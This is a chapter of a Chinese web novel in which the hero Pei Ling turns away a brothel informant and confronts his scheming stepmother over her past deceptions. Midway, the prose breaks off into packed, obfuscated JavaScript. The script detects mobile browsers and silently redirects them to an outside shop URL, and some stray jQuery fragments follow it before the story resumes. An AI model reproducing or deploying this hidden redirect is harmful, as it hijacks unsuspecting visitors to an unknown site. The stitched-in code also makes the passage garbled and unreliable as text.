137. 第 137 章
作品:《被迫替嫁后她每天都想和离》 裴翎见苏箐宁生气,想着要她消气,于是老老实实地在外间睡了一晚。
他原想着第二日的时候再去好好地给苏箐宁赔不是,带她去酒楼里吃顿好的,这样说不定才能哄好。
但是天不遂人愿,十分不巧的是,第二日快到中午时,府上有人前来拜访。
想容面上戴着薄纱,只露出一双娇柔惑人的眼睛,她一身浅紫色的裙裳,静立在王府门口的时候像一株在风中摇曳的鸢尾花,绰约生姿。
下人们不敢怠慢,将她迎进了会客厅。
裴翎出来见到她时,她已经十分悠闲地喝上茶了。
见想容突然出现在自己府上,裴翎皱了皱眉,他担心苏箐宁不喜欢,想着要快点将想容打发回去才好,于是道:“你来做什么?绮梦阁出了什么事情?”
听见裴翎这般公事公办的语气,想容嘴角温柔的笑意有所收敛,她放下茶盏,声线柔柔地道:“世子怎的与奴家这般生疏了,就不能是奴家想见您了,特意来寻您叙叙旧吗?您可是好些时间没去绮梦阁玩儿了。”
听想容这语气,裴翎看了她一眼,带着警告意味地道:“好好说话,不要惹得你主夫人多想,到底有什么事?没事的话现在就可以回去了,回去记得领二十大板,不要在这里浪费我的时间。”
想容脸上的笑意彻底僵住了,她脸色有些发白,以往主人根本不会这样与她说话的,明明主人去绮梦阁的时候都会与她聊天说话,她原以为主人是喜欢她的,就算她身份卑微,当不得主子的正夫人,但等主子成就大业后让她做个侧室她也满意啊,可如今为何……
自从主子娶了世子妃后一切就都变了。
想容内心阴暗地想,要是没有世子妃就好了,明明世子妃也不过就是个乡野出身的女人罢了,有什么资格与主子平起平坐。
“主子息怒,想容今日来确实是有事要禀告,昨日晚上沈氏来找过我,想要问绮梦阁将我买下来送给主子,借此讨好主子,但被榴娘拒绝了,然后她就单独来找了我,给了我一大袋银子,想要让我为他们说情。”想容见裴翎的脸色越发不愉,于是连忙道。
这倒是不假,沈氏昨晚的的确确去了绮梦阁。
不过想容有自己的私心,她其实早就想到镇南王府来看看裴翎了,但是苦于没有合适的借口,于是只好抓住了沈氏的这一请求,借机前来。
她真的太久没有见过裴翎了,自从那一日世子带着世子妃逛过绮梦阁之后,主子就再也没来过,就算有什么重要的消息也是榴娘亲自修书告知主子,根本没她什么事儿。
裴翎点点头:“我知道了,还有什么事吗?”
裴翎语气冷漠疏离,与她相隔的距离也很远,像是半点不愿意与她牵扯上。
想容失落地张了张嘴,最后还是低着头回道:“禀主子,没有了。”
“行了,你回去吧,以后别往镇南王府上来,有事情就让榴娘传信,别让人瞧见误会。”裴翎淡淡地警告。
“是,想容知道了。”想容声音低低地应了,转头缓缓地退出去。
其实她原本是还有一件事情要说的,但犹豫再三,她决定隐瞒。
前几日在楼里的时候,她听见了有人提到了世子妃的名字,原本以为她的名字出现在这烟花之地莫不是对自家主子不忠,于是就凑近听了听,想要抓住些把柄告诉主子,叫主子休了她最好。但那商议的两人十分机警,她只能远远地听见苏箐宁的名字,还有什么血液,长生玉之类的字眼。
她不解其中的意思,但是听起来像是苏箐宁身上有一件宝物,而他们正在商量着谋夺宝物。
想容垂下眸子,她的职责是给主子打探消息保护主子,苏箐宁又不是主子,她也只是偶然听见而已,没有必要帮她传递消息,给她示警,若是她真的因此不幸殒命,那也怪不得她。
只能怪她自己命不好。
待想容离开,裴翎落在门口的眼神逐渐凌厉起来,这个沈氏,真是他不找她的麻烦她就该感恩戴德,如今竟然还想找个人来破坏他和宁宁的夫妻感情,简直是罪该万死!
他今日就要去好好地磋磨搓摩这个沈氏,让她知道这个镇南王府不是她沈氏的。
*
沈氏此时此刻正十分悠闲惬意地在自己的院子里面喝茶吃点心,她昨日偷偷去找了想容姑娘,想必此刻也已经到了府上了,说不准已经和裴翎见上面了。
她找那想容姑娘的理由其一确实是想要讨好裴翎,其二也包含了想要离间裴翎和苏箐宁感情的意思,因为晟悯公主看中苏箐宁且两人关系很好,若是裴翎与苏箐宁闹掰了,约莫那个晟悯公主也不会给裴翎好脸色看。
她的如意算盘打得虽好,但可惜,裴翎可没有白月光,更何况整个绮梦阁都是他的,沈氏的小动作他可谓是一清二楚,逃不开他的眼睛。
“王妃好雅兴啊。”直到裴翎走进了院子,沈氏才恍然惊觉他不知什么时候来了她的院子。
沈氏连忙起身,神色几经变幻,最后挤出一个不太优雅的笑容来:“长岁怎么来了?也不叫人通禀一声。”
今时不同往日了,要是以往他还是个纨绔的时候,他的这位继母可不会对他这般恭敬以及和颜悦色。
裴翎微笑:“王妃见谅,是我瞧着王妃似乎是在休息就没叫人惊扰。”
沈氏扯了扯嘴角:“无妨无妨,不知长岁突然到我这儿来,可是有什么事情要找我……”
沈氏看着裴翎那双与阮瑟相似的眼睛,心中怨毒,她不是以及给了想容钱让她去勾引裴翎了吗?为何现在他又突然出现在了她面前?
“王妃是在想想容姑娘吗?王妃是觉得现在我应该已经深陷温柔乡无法自拔,随后与宁宁生出嫌隙什么?”裴翎的气质依旧温温和和的,但语气已经带上了几分凛冽。
沈氏一惊,怎么可能?怎么会这么快?他怎么知道的?难道是想容告诉他了?可是为什么?不是她花钱请的想容吗?绮梦阁怎么能拿了钱不办事?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094952|172649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“长岁在说什么呢?我听不懂。”事到如今,沈氏也只能装傻,企图蒙混过关,她与裴翎的关系依旧够僵硬的了,如今再承认简直就是雪上加霜。
裴翎扫了她一眼,并不理会她的否认,直接道:“知道为什么你昨晚才去找的想容,我今日一早就知道了吗?”
沈氏看着他不说话,但心里已经升起了一个很不好的念头。
盯着沈氏惊惶的眼睛,裴翎缓缓地道:“因为绮梦阁是我的产业。”
沈氏惊愕地瞪大了眼睛,缓缓后退了两步,小腿硌在椅子上,她一个没站稳就坐到在了椅子上。
他……他到底什么时候拥有了这么大的一个产业?要知道绮梦阁可是惊鸿街上最大的青楼,一月的收益可以抵得上王府一年的开销了。
在她看不见的地方,裴翎到底已经成长到什么地步了。
就在沈氏恐慌时,裴翎看着她,微微勾唇露出一个冷漠的笑:“沈氏,其实我有的时候挺佩服你的演技和脸皮的,你说要是我父王知道当年你是故意气死我娘,并且带了一个不知道父亲是谁的孩子进王府,他回来后会将你怎么样呢?”
听见这一段话,沈氏的脸色才彻底变了,他到底是怎么知道的这件事情?他是什么时候知道的,裴璟知道这件事情吗?
一时间,沈氏心乱如麻,竟想不出应对的话语,刚想要矢口否认,却被裴翎一句话堵了回去。
“你不用和我争论,因为我手上有切实的证据,当年你进王府的时候有皇室中的人在背后指点吧,如今那些个人早都死了,你已经没有靠山了。”
沈氏抬头,仰望着不知道什么时候已经长得这般高大了的青年,内心又是惶恐又是颓唐,到底是哪一步走错了。
裴翎知道敲打得差不多了,于是收敛了脸上的表情,语带警告:“我知道的事情可远不止这些,你若是安安分分地别作出什么幺蛾子我或许还能看在裴策的面子上放你一马,若是你再生事端偏要挑拨我与我娘子的关系,我可以立马送你还有你的宝贝儿子儿媳一起下去,到时候,你就去提前去给我娘赔罪吧。”
直到裴翎离开,他的话语依旧在沈氏的耳边回响。
沈氏怔怔的想着,她是做错了吗?
她原本也只是想要嫁给裴璟啊,她有什么错?都怪那阮瑟如此不争气,不过是带着个孩子在她面前走了一圈而已,人就这么没了。
其实裴翎说得没错,裴策确实不是裴璟的孩子,裴璟婚后守身如玉,除了阮瑟以外不与别的女子亲近,她也只是钻了个空子,她在裴璟受伤时收留过他一阵,于是便想了个法子谎称他们曾经发生过关系,而实际上,裴策是她前一任夫婿的儿子,她的前一任夫婿是个做手艺活的下等人。
这就是为什么裴策在表现出对那些瓷器木头的浓烈热爱后她会如此愤怒,就是因为这会让她想起他的生父,想起自己曾经嫁给过那样一个粗鄙的人。
这对她来说过于不堪,她忍受不了。

